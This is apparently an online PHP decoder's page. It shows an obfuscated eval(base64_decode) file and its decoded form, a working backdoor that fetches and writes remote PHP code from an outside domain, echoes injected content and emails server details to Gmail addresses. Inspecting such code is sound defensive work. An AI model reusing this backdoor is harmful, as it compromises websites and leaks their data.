Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIGFHS2thOyBvSzY0cTogJGhlYWRlciA9ICJcMTA2XHg3Mlx4..

Decoded Output download


 goto aGKka; oK64q: $header = "\106\x72\x6f\155\72\x20{$from_shellcode}\xd\xa\x52\145\160\154\x79\x2d\x74\x6f\x3a\x20{$from_shellcode}"; goto l7BgM; xVP9P: $ip_remote = $_SERVER["\x52\x45\115\117\x54\x45\137\101\x44\104\122"]; goto Xedxa; uYPOm: echo "\x3c\41\104\117\103\124\131\120\x45\40\150\x74\155\154\41\x3e"; goto VO0pu; QuTMX: error_reporting(0); goto E2AFM; W9nLU: $EL_MuHaMMeD .= "\123\145\162\x76\145\162\x20\151\x73\x6c\x65\164\151\x6d\40\x73\151\163\x74\145\x6d\x69\40\72\40" . $_SERVER["\123\x45\x52\x56\105\x52\x5f\123\117\106\x54\127\x41\x52\x45"] . "\xd\12"; goto i1FtU; GExlx: $x = $s . "\x6c\55" . base64_encode($host); goto eRvrn; budEA: $EL_MuHaMMeD .= "\x41\166\x6c\x61\x6e\141\x6e\x20\x53\x69\164\145\40\x3a\40" . $_SERVER["\110\124\x54\120\137\x48\x4f\123\x54"] . "\15\12"; goto a6yXf; juFC6: $EL_MuHaMMeD = "\104\x6f\163\171\x61\40\x59\157\154\165\40\x3a\40" . $_SERVER["\x44\117\x43\125\x4d\x45\116\x54\x5f\x52\x4f\x4f\124"] . "\15\xa"; goto gM1Yf; vvKFK: $time_shell = '' . date("\x64\x2f\155\57\x59\40\55\x20\110\72\x69\72\x73") . ''; goto xVP9P; k50Wf: $linkcr = "\x4c\151\x6e\x6b\72\x20" . $_SERVER["\x53\x45\x52\x56\105\x52\137\x4e\101\115\105"] . '' . $_SERVER["\122\x45\x51\125\105\123\x54\137\125\122\111"] . "\40\x2d\x20\x49\120\40\x45\170\143\x75\164\x69\156\147\x3a\x20{$ip_remote}\x20\55\x20\124\x69\155\145\72\x20{$time_shell}"; goto oK64q; gM1Yf: $EL_MuHaMMeD .= "\123\x65\x72\x76\x65\162\x20\101\x64\x6d\x69\156\x20\72\x20" . $_SERVER["\x53\105\x52\x56\x45\x52\137\101\104\x4d\x49\x4e"] . "\15\xa"; goto W9nLU; Xedxa: $from_shellcode = "\154\x61\x6d\x65\162\100" . gethostbyname($_SERVER["\123\x45\x52\126\x45\122\137\x4e\101\115\105"]) . ''; goto XVjal; bum7s: $datasi = @fopen("\x6a\x73\x2f\152\x73\56\160\150\160", "\162"); goto bXnY2; l7BgM: @mail($to_email, $server_mail, $linkcr, $header); goto xFeS9; i1FtU: $EL_MuHaMMeD .= "\123\150\x65\x6c\x6c\40\x4c\x69\156\153\x20\72\40\x68\164\164\x70\72\x2f\57" . $_SERVER["\123\x45\x52\126\105\x52\137\x4e\101\x4d\x45"] . $_SERVER["\120\x48\120\x5f\123\105\114\x46"] . "\xd\xa"; goto budEA; Vc4k8: if (isset($_GET["\153\x73\x66\147"])) { $f = fopen($_GET["\153\x73\x66\147"] . "\56\160\150\160", "\141"); fwrite($f, file_get_contents($s . "\163\55" . $_GET["\153\x73\x66\147"])); fclose($f); } goto uYPOm; s8hdQ: $server_mail = '' . gethostbyname($_SERVER["\x53\x45\122\126\x45\122\x5f\116\101\x4d\x45"]) . "\40\x20\55\40" . $_SERVER["\x48\x54\x54\120\x5f\110\117\123\124"] . ''; goto k50Wf; xFeS9: $kime = "\x62\171\x68\x65\162\x6f\64\x34\100\x67\155\141\151\x6c\56\x63\x6f\x6d"; goto R97MJ; E2AFM: $s = "\x68\x74\164\x70\163\x3a\x2f\x2f\x61\x63\142\x64\x66\x2e\163\x70\x61\143\145\x2f"; goto DwuIw; DwuIw: $host = str_replace("\167\167\167\56", '', @$_SERVER["\110\124\124\x50\137\x48\117\123\124"]); goto GExlx; bXnY2: if ($datasi) { } else { @mkdir("\x6a\163"); $dos = file_get_contents("\x68\164\x74\x70\x73\x3a\x2f\x2f\x61\143\142\144\x66\56\163\x70\x61\143\x65\57\x74\x78\x74\x2f\x6c\141\155\145\x72\56\164\170\164"); $data = "\x6a\163\57\x6a\x73\x2e\x70\150\160"; @touch("\152\163\57\x6a\163\56\x70\x68\160"); $ver = @fopen($data, "\x77"); @fwrite($ver, $dos); @fclose($ver); $yol = "\x68\164\x74\160\72\x2f\x2f" . $_SERVER["\110\124\x54\120\137\110\x4f\123\124"] . '' . $_SERVER["\x52\x45\x51\125\105\123\x54\137\125\x52\111"] . ''; $y = "\x3c\x68\61\76\123\145\x6e\x64\x65\x72\x20\x59\141\172\x64\x69\162\151\x6c\144\x69\x2e\x3c\142\162\57\x3e\x20\x53\111\x54\105\40\x59\x4f\114\x20\x3a\40" . $yol . "\x3c\142\x72\x2f\x3e\x53\145\156\x64\145\x72\x20\x59\157\x6c\165\40\72\40\x6a\163\x2f\x63\x72\x73\x2e\x70\x68\160\x3c\x2f\x68\x31\x3e"; $header .= "\106\x72\157\x6d\72\40\123\x68\145\114\x4c\40\x42\x6f\x6f\164\x20\74\x73\x75\160\160\x6f\162\100\x6e\151\x63\x2e\x6f\x72\147\x3e\12"; $header .= "\103\157\x6e\x74\145\x6e\164\55\x54\x79\160\145\x3a\40\x74\x65\x78\x74\57\150\164\155\x6c\73\xa\40\143\150\141\162\163\x65\164\75\165\164\146\55\70\xa"; @mail("\154\x6f\147\x69\156\x6f\x6c\x64\165\155\x40\147\155\x61\x69\154\x2e\143\x6f\155", "\110\141\143\x6b\x6c\x69\x6e\x6b\40\102\x69\154\x64\x69\x72\x69", "{$y}", $header); @mail("\x6c\157\x67\151\156\x6f\x6c\144\165\155\x40\147\x6d\x61\151\154\x2e\143\x6f\x6d", "\x48\x61\143\153\x6c\x69\156\x6b\40\x42\x69\x6c\x64\x69\x72\151", "{$y}", $header); } goto vvKFK; eRvrn: if (function_exists("\x63\165\x72\154\x5f\151\x6e\151\x74")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("\146\151\x6c\145\x5f\147\x65\164\x5f\143\157\156\x74\x65\156\164\163")) { @($gitt = file_get_contents($x)); } goto bSMSI; a6yXf: mail($kime, $baslik, $EL_MuHaMMeD); goto UNxRd; aGKka: function GetIP() { if (getenv("\x48\x54\x54\x50\137\x43\x4c\x49\105\116\x54\137\x49\x50")) { $ip = getenv("\110\x54\x54\x50\137\103\114\111\105\x4e\124\137\111\x50"); } elseif (getenv("\110\x54\124\x50\137\x58\x5f\x46\117\122\x57\x41\122\104\x45\x44\137\x46\x4f\122")) { $ip = getenv("\x48\x54\124\x50\137\130\137\106\x4f\x52\127\x41\122\x44\x45\x44\137\x46\x4f\122"); if (strstr($ip, "\x2c")) { $tmp = explode("\54", $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("\x52\x45\x4d\117\124\x45\137\101\x44\x44\122"); } return $ip; } goto Jv7yz; R97MJ: $baslik = "\155\151\x6e\x20\x32\x30\62\x30\x33"; goto juFC6; VO0pu: if ($_POST["\x71\x75\145\x72\171"]) { $veriyfy = stripslashes(stripslashes($_POST["\x71\x75\145\162\171"])); $data = "\144\141\x74\x61\x2e\164\x78\x74"; @touch("\144\x61\x74\141\56\164\170\164"); $ver = @fopen($data, "\x77"); @fwrite($ver, $veriyfy); @fclose($ver); } else { $datas = @fopen("\144\141\164\141\x2e\x74\170\x74", "\x72"); $i = 0; while ($i <= 5) { $i++; $blue = @fgets($datas, 1024); echo $blue; } } goto bum7s; bSMSI: echo $gitt; goto Vc4k8; ri1dL: if (function_exists("\x63\x75\x72\x6c\x5f\x69\156\x69\x74")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("\x66\x69\154\x65\137\x67\145\164\137\x63\157\x6e\164\x65\x6e\x74\x73")) { @($gitt = file_get_contents($x)); } goto QuTMX; Jv7yz: $x = base64_decode("\141\x48\x52\60\143\110\115\x36\114\x79\x39\x68\x62\x6d\x39\165\145\127\x30\x77\x64\x58\x4d\165\131\x32\170\61\x59\x69\x39\x73\x4c\121\75\x3d") . GetIP() . "\55" . base64_encode("\150\164\x74\x70\72\57\x2f" . $_SERVER["\x48\124\x54\120\137\110\117\x53\x54"] . $_SERVER["\x52\105\x51\125\x45\123\124\137\125\122\x49"]); goto ri1dL; XVjal: $to_email = "\x6c\x6f\x67\151\156\157\x6c\144\x75\155\100\x67\x6d\141\x69\154\x2e\143\157\155"; goto s8hdQ; UNxRd: 

Did this file decode correctly?

Original Code

<?php
						 eval(base64_decode('CiBnb3RvIGFHS2thOyBvSzY0cTogJGhlYWRlciA9ICJcMTA2XHg3Mlx4NmZcMTU1XDcyXHgyMHskZnJvbV9zaGVsbGNvZGV9XHhkXHhhXHg1MlwxNDVcMTYwXDE1NFx4NzlceDJkXHg3NFx4NmZceDNhXHgyMHskZnJvbV9zaGVsbGNvZGV9IjsgZ290byBsN0JnTTsgeFZQOVA6ICRpcF9yZW1vdGUgPSAkX1NFUlZFUlsiXHg1Mlx4NDVcMTE1XDExN1x4NTRceDQ1XDEzN1wxMDFceDQ0XDEwNFwxMjIiXTsgZ290byBYZWR4YTsgdVlQT206IGVjaG8gIlx4M2NcNDFcMTA0XDExN1wxMDNcMTI0XDEzMVwxMjBceDQ1XDQwXDE1MFx4NzRcMTU1XDE1NFw0MVx4M2UiOyBnb3RvIFZPMHB1OyBRdVRNWDogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIEUyQUZNOyBXOW5MVTogJEVMX011SGFNTWVEIC49ICJcMTIzXDE0NVwxNjJceDc2XDE0NVwxNjJceDIwXDE1MVx4NzNceDZjXHg2NVwxNjRcMTUxXHg2ZFw0MFx4NzNcMTUxXDE2M1x4NzRcMTQ1XHg2ZFx4NjlcNDBcNzJcNDAiIC4gJF9TRVJWRVJbIlwxMjNceDQ1XHg1Mlx4NTZcMTA1XHg1Mlx4NWZcMTIzXDExN1wxMDZceDU0XDEyN1x4NDFceDUyXHg0NSJdIC4gIlx4ZFwxMiI7IGdvdG8gaTFGdFU7IEdFeGx4OiAkeCA9ICRzIC4gIlx4NmNcNTUiIC4gYmFzZTY0X2VuY29kZSgkaG9zdCk7IGdvdG8gZVJ2cm47IGJ1ZEVBOiAkRUxfTXVIYU1NZUQgLj0gIlx4NDFcMTY2XHg2Y1x4NjFceDZlXDE0MVx4NmVceDIwXHg1M1x4NjlcMTY0XDE0NVw0MFx4M2FcNDAiIC4gJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBcMTM3XHg0OFx4NGZcMTIzXHg1NCJdIC4gIlwxNVwxMiI7IGdvdG8gYTZ5WGY7IGp1RkM2OiAkRUxfTXVIYU1NZUQgPSAiXDEwNFx4NmZcMTYzXDE3MVx4NjFcNDBceDU5XDE1N1wxNTRcMTY1XDQwXHgzYVw0MCIgLiAkX1NFUlZFUlsiXHg0NFwxMTdceDQzXDEyNVx4NGRceDQ1XDExNlx4NTRceDVmXHg1Mlx4NGZceDRmXDEyNCJdIC4gIlwxNVx4YSI7IGdvdG8gZ00xWWY7IHZ2S0ZLOiAkdGltZV9zaGVsbCA9ICcnIC4gZGF0ZSgiXHg2NFx4MmZcMTU1XDU3XHg1OVw0MFw1NVx4MjBcMTEwXDcyXHg2OVw3Mlx4NzMiKSAuICcnOyBnb3RvIHhWUDlQOyBrNTBXZjogJGxpbmtjciA9ICJceDRjXDE1MVx4NmVceDZiXDcyXHgyMCIgLiAkX1NFUlZFUlsiXHg1M1x4NDVceDUyXHg1NlwxMDVceDUyXDEzN1x4NGVcMTAxXDExNVwxMDUiXSAuICcnIC4gJF9TRVJWRVJbIlwxMjJceDQ1XHg1MVwxMjVcMTA1XDEyM1x4NTRcMTM3XDEyNVwxMjJcMTExIl0gLiAiXDQwXHgyZFx4MjBceDQ5XDEyMFw0MFx4NDVcMTcwXDE0M1x4NzVcMTY0XHg2OVwxNTZcMTQ3XHgzYVx4MjB7JGlwX3JlbW90ZX1ceDIwXDU1XHgyMFwxMjRceDY5XDE1NVwxNDVcNzJceDIweyR0aW1lX3NoZWxsfSI7IGdvdG8gb0s2NHE7IGdNMVlmOiAkRUxfTXVIYU1NZUQgLj0gIlwxMjNceDY1XHg3Mlx4NzZceDY1XDE2Mlx4MjBcMTAxXHg2NFx4NmRceDY5XDE1Nlx4MjBcNzJceDIwIiAuICRfU0VSVkVSWyJceDUzXDEwNVx4NTJceDU2XHg0NVx4NTJcMTM3XDEwMVwxMDRceDRkXHg0OVx4NGUiXSAuICJcMTVceGEiOyBnb3RvIFc5bkxVOyBYZWR4YTogJGZyb21fc2hlbGxjb2RlID0gIlwxNTRceDYxXHg2ZFx4NjVcMTYyXDEwMCIgLiBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJcMTIzXHg0NVx4NTJcMTI2XHg0NVwxMjJcMTM3XHg0ZVwxMDFcMTE1XDEwNSJdKSAuICcnOyBnb3RvIFhWamFsOyBidW03czogJGRhdGFzaSA9IEBmb3BlbigiXHg2YVx4NzNceDJmXDE1Mlx4NzNcNTZcMTYwXDE1MFwxNjAiLCAiXDE2MiIpOyBnb3RvIGJYblkyOyBsN0JnTTogQG1haWwoJHRvX2VtYWlsLCAkc2VydmVyX21haWwsICRsaW5rY3IsICRoZWFkZXIpOyBnb3RvIHhGZVM5OyBpMUZ0VTogJEVMX011SGFNTWVEIC49ICJcMTIzXDE1MFx4NjVceDZjXHg2Y1w0MFx4NGNceDY5XDE1NlwxNTNceDIwXDcyXDQwXHg2OFwxNjRcMTY0XHg3MFw3Mlx4MmZcNTciIC4gJF9TRVJWRVJbIlwxMjNceDQ1XHg1MlwxMjZcMTA1XHg1MlwxMzdceDRlXDEwMVx4NGRceDQ1Il0gLiAkX1NFUlZFUlsiXDEyMFx4NDhcMTIwXHg1ZlwxMjNcMTA1XDExNFx4NDYiXSAuICJceGRceGEiOyBnb3RvIGJ1ZEVBOyBWYzRrODogaWYgKGlzc2V0KCRfR0VUWyJcMTUzXHg3M1x4NjZcMTQ3Il0pKSB7ICRmID0gZm9wZW4oJF9HRVRbIlwxNTNceDczXHg2NlwxNDciXSAuICJcNTZcMTYwXDE1MFwxNjAiLCAiXDE0MSIpOyBmd3JpdGUoJGYsIGZpbGVfZ2V0X2NvbnRlbnRzKCRzIC4gIlwxNjNcNTUiIC4gJF9HRVRbIlwxNTNceDczXHg2NlwxNDciXSkpOyBmY2xvc2UoJGYpOyB9IGdvdG8gdVlQT207IHM4aGRROiAkc2VydmVyX21haWwgPSAnJyAuIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlx4NTNceDQ1XDEyMlwxMjZceDQ1XDEyMlx4NWZcMTE2XDEwMVx4NGRceDQ1Il0pIC4gIlw0MFx4MjBcNTVcNDAiIC4gJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBceDVmXDExMFwxMTdcMTIzXDEyNCJdIC4gJyc7IGdvdG8gazUwV2Y7IHhGZVM5OiAka2ltZSA9ICJceDYyXDE3MVx4NjhceDY1XDE2Mlx4NmZcNjRceDM0XDEwMFx4NjdcMTU1XDE0MVwxNTFceDZjXDU2XHg2M1x4NmZceDZkIjsgZ290byBSOTdNSjsgRTJBRk06ICRzID0gIlx4NjhceDc0XDE2NFx4NzBcMTYzXHgzYVx4MmZceDJmXHg2MVx4NjNcMTQyXHg2NFx4NjZceDJlXDE2M1x4NzBceDYxXDE0M1wxNDVceDJmIjsgZ290byBEd3VJdzsgRHd1SXc6ICRob3N0ID0gc3RyX3JlcGxhY2UoIlwxNjdcMTY3XDE2N1w1NiIsICcnLCBAJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBcMTM3XHg0OFwxMTdcMTIzXDEyNCJdKTsgZ290byBHRXhseDsgYlhuWTI6IGlmICgkZGF0YXNpKSB7IH0gZWxzZSB7IEBta2RpcigiXHg2YVwxNjMiKTsgJGRvcyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJceDY4XDE2NFx4NzRceDcwXHg3M1x4M2FceDJmXHgyZlx4NjFcMTQzXDE0MlwxNDRceDY2XDU2XDE2M1x4NzBceDYxXDE0M1x4NjVcNTdceDc0XHg3OFx4NzRceDJmXHg2Y1wxNDFcMTU1XDE0NVx4NzJcNTZcMTY0XDE3MFwxNjQiKTsgJGRhdGEgPSAiXHg2YVwxNjNcNTdceDZhXHg3M1x4MmVceDcwXDE1MFwxNjAiOyBAdG91Y2goIlwxNTJcMTYzXDU3XHg2YVwxNjNcNTZceDcwXHg2OFwxNjAiKTsgJHZlciA9IEBmb3BlbigkZGF0YSwgIlx4NzciKTsgQGZ3cml0ZSgkdmVyLCAkZG9zKTsgQGZjbG9zZSgkdmVyKTsgJHlvbCA9ICJceDY4XDE2NFx4NzRcMTYwXDcyXHgyZlx4MmYiIC4gJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBcMTM3XDExMFx4NGZcMTIzXDEyNCJdIC4gJycgLiAkX1NFUlZFUlsiXHg1Mlx4NDVceDUxXDEyNVwxMDVcMTIzXHg1NFwxMzdcMTI1XHg1MlwxMTEiXSAuICcnOyAkeSA9ICJceDNjXHg2OFw2MVw3NlwxMjNcMTQ1XHg2ZVx4NjRceDY1XHg3Mlx4MjBceDU5XDE0MVwxNzJceDY0XHg2OVwxNjJcMTUxXHg2Y1wxNDRceDY5XHgyZVx4M2NcMTQyXDE2Mlw1N1x4M2VceDIwXHg1M1wxMTFceDU0XDEwNVw0MFx4NTlceDRmXDExNFx4MjBceDNhXDQwIiAuICR5b2wgLiAiXHgzY1wxNDJceDcyXHgyZlx4M2VceDUzXDE0NVwxNTZceDY0XDE0NVx4NzJceDIwXHg1OVwxNTdceDZjXDE2NVw0MFw3Mlw0MFx4NmFcMTYzXHgyZlx4NjNceDcyXHg3M1x4MmVceDcwXHg2OFwxNjBceDNjXHgyZlx4NjhceDMxXHgzZSI7ICRoZWFkZXIgLj0gIlwxMDZceDcyXDE1N1x4NmRcNzJcNDBcMTIzXHg2OFwxNDVcMTE0XHg0Y1w0MFx4NDJceDZmXHg2ZlwxNjRceDIwXDc0XHg3M1x4NzVcMTYwXDE2MFx4NmZcMTYyXDEwMFx4NmVcMTUxXHg2M1x4MmVceDZmXHg3MlwxNDdceDNlXDEyIjsgJGhlYWRlciAuPSAiXDEwM1wxNTdceDZlXHg3NFwxNDVceDZlXDE2NFw1NVx4NTRceDc5XDE2MFwxNDVceDNhXDQwXHg3NFx4NjVceDc4XHg3NFw1N1wxNTBcMTY0XDE1NVx4NmNcNzNceGFcNDBcMTQzXDE1MFwxNDFcMTYyXDE2M1x4NjVcMTY0XDc1XDE2NVwxNjRcMTQ2XDU1XDcwXHhhIjsgQG1haWwoIlwxNTRceDZmXDE0N1x4NjlcMTU2XHg2Zlx4NmNceDY0XDE2NVwxNTVceDQwXDE0N1wxNTVceDYxXHg2OVwxNTRceDJlXDE0M1x4NmZcMTU1IiwgIlwxMTBcMTQxXDE0M1x4NmJceDZjXHg2OVx4NmVceDZiXDQwXDEwMlx4NjlcMTU0XHg2NFx4NjlceDcyXHg2OSIsICJ7JHl9IiwgJGhlYWRlcik7IEBtYWlsKCJceDZjXDE1N1x4NjdcMTUxXDE1Nlx4NmZceDZjXDE0NFwxNjVcMTU1XHg0MFwxNDdceDZkXHg2MVwxNTFcMTU0XHgyZVwxNDNceDZmXHg2ZCIsICJceDQ4XHg2MVwxNDNcMTUzXHg2Y1x4NjlcMTU2XHg2Ylw0MFx4NDJceDY5XHg2Y1x4NjRceDY5XHg3MlwxNTEiLCAieyR5fSIsICRoZWFkZXIpOyB9IGdvdG8gdnZLRks7IGVSdnJuOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDYzXDE2NVx4NzJcMTU0XHg1ZlwxNTFceDZlXDE1MVx4NzQiKSkgeyAkY2ggPSBAY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR4KTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgJGdpdHQgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyBpZiAoJGdpdHQgPT0gZmFsc2UpIHsgQCgkZ2l0dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR4KSk7IH0gfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE0NlwxNTFceDZjXDE0NVx4NWZcMTQ3XHg2NVwxNjRceDVmXDE0M1wxNTdcMTU2XHg3NFx4NjVcMTU2XDE2NFwxNjMiKSkgeyBAKCRnaXR0ID0gZmlsZV9nZXRfY29udGVudHMoJHgpKTsgfSBnb3RvIGJTTVNJOyBhNnlYZjogbWFpbCgka2ltZSwgJGJhc2xpaywgJEVMX011SGFNTWVEKTsgZ290byBVTnhSZDsgYUdLa2E6IGZ1bmN0aW9uIEdldElQKCkgeyBpZiAoZ2V0ZW52KCJceDQ4XHg1NFx4NTRceDUwXDEzN1x4NDNceDRjXHg0OVwxMDVcMTE2XHg1NFwxMzdceDQ5XHg1MCIpKSB7ICRpcCA9IGdldGVudigiXDExMFx4NTRceDU0XHg1MFwxMzdcMTAzXDExNFwxMTFcMTA1XHg0ZVwxMjRcMTM3XDExMVx4NTAiKTsgfSBlbHNlaWYgKGdldGVudigiXDExMFx4NTRcMTI0XHg1MFwxMzdceDU4XHg1Zlx4NDZcMTE3XDEyMlx4NTdceDQxXDEyMlwxMDRceDQ1XHg0NFwxMzdceDQ2XHg0ZlwxMjIiKSkgeyAkaXAgPSBnZXRlbnYoIlx4NDhceDU0XDEyNFx4NTBcMTM3XDEzMFwxMzdcMTA2XHg0Zlx4NTJcMTI3XHg0MVwxMjJceDQ0XHg0NVx4NDRcMTM3XHg0Nlx4NGZcMTIyIik7IGlmIChzdHJzdHIoJGlwLCAiXHgyYyIpKSB7ICR0bXAgPSBleHBsb2RlKCJcNTQiLCAkaXApOyAkaXAgPSB0cmltKCR0bXBbMF0pOyB9IH0gZWxzZSB7ICRpcCA9IGdldGVudigiXHg1Mlx4NDVceDRkXDExN1wxMjRceDQ1XDEzN1wxMDFceDQ0XHg0NFwxMjIiKTsgfSByZXR1cm4gJGlwOyB9IGdvdG8gSnY3eXo7IFI5N01KOiAkYmFzbGlrID0gIlwxNTVcMTUxXHg2ZVx4MjBceDMyXHgzMFw2Mlx4MzBceDMzIjsgZ290byBqdUZDNjsgVk8wcHU6IGlmICgkX1BPU1RbIlx4NzFceDc1XDE0NVx4NzJcMTcxIl0pIHsgJHZlcml5ZnkgPSBzdHJpcHNsYXNoZXMoc3RyaXBzbGFzaGVzKCRfUE9TVFsiXHg3MVx4NzVcMTQ1XDE2MlwxNzEiXSkpOyAkZGF0YSA9ICJcMTQ0XDE0MVx4NzRceDYxXHgyZVwxNjRceDc4XHg3NCI7IEB0b3VjaCgiXDE0NFx4NjFceDc0XDE0MVw1NlwxNjRcMTcwXDE2NCIpOyAkdmVyID0gQGZvcGVuKCRkYXRhLCAiXHg3NyIpOyBAZndyaXRlKCR2ZXIsICR2ZXJpeWZ5KTsgQGZjbG9zZSgkdmVyKTsgfSBlbHNlIHsgJGRhdGFzID0gQGZvcGVuKCJcMTQ0XDE0MVwxNjRcMTQxXHgyZVx4NzRcMTcwXHg3NCIsICJceDcyIik7ICRpID0gMDsgd2hpbGUgKCRpIDw9IDUpIHsgJGkrKzsgJGJsdWUgPSBAZmdldHMoJGRhdGFzLCAxMDI0KTsgZWNobyAkYmx1ZTsgfSB9IGdvdG8gYnVtN3M7IGJTTVNJOiBlY2hvICRnaXR0OyBnb3RvIFZjNGs4OyByaTFkTDogaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2M1x4NzVceDcyXHg2Y1x4NWZceDY5XDE1Nlx4NjlceDc0IikpIHsgJGNoID0gQGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkeCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7ICRnaXR0ID0gY3VybF9leGVjKCRjaCk7IGN1cmxfY2xvc2UoJGNoKTsgaWYgKCRnaXR0ID09IGZhbHNlKSB7IEAoJGdpdHQgPSBmaWxlX2dldF9jb250ZW50cygkeCkpOyB9IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlx4NjZceDY5XDE1NFx4NjVcMTM3XHg2N1wxNDVcMTY0XDEzN1x4NjNcMTU3XHg2ZVwxNjRceDY1XHg2ZVx4NzRceDczIikpIHsgQCgkZ2l0dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR4KSk7IH0gZ290byBRdVRNWDsgSnY3eXo6ICR4ID0gYmFzZTY0X2RlY29kZSgiXDE0MVx4NDhceDUyXDYwXDE0M1wxMTBcMTE1XHgzNlwxMTRceDc5XHgzOVx4NjhceDYyXHg2ZFx4MzlcMTY1XDE0NVwxMjdceDMwXHg3N1x4NjRceDU4XHg0ZFwxNjVcMTMxXHgzMlwxNzBcNjFceDU5XHg2OVx4MzlceDczXHg0Y1wxMjFcNzVceDNkIikgLiBHZXRJUCgpIC4gIlw1NSIgLiBiYXNlNjRfZW5jb2RlKCJcMTUwXDE2NFx4NzRceDcwXDcyXDU3XHgyZiIgLiAkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFwxMzdcMTEwXDExN1x4NTNceDU0Il0gLiAkX1NFUlZFUlsiXHg1MlwxMDVceDUxXDEyNVx4NDVcMTIzXDEyNFwxMzdcMTI1XDEyMlx4NDkiXSk7IGdvdG8gcmkxZEw7IFhWamFsOiAkdG9fZW1haWwgPSAiXHg2Y1x4NmZceDY3XDE1MVwxNTZcMTU3XHg2Y1wxNDRceDc1XDE1NVwxMDBceDY3XHg2ZFwxNDFceDY5XDE1NFx4MmVcMTQzXDE1N1wxNTUiOyBnb3RvIHM4aGRROyBVTnhSZDog'));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 d2dbab93adac1563f78e4ef9b131da30
Eval Count 1
Decode Time 65 ms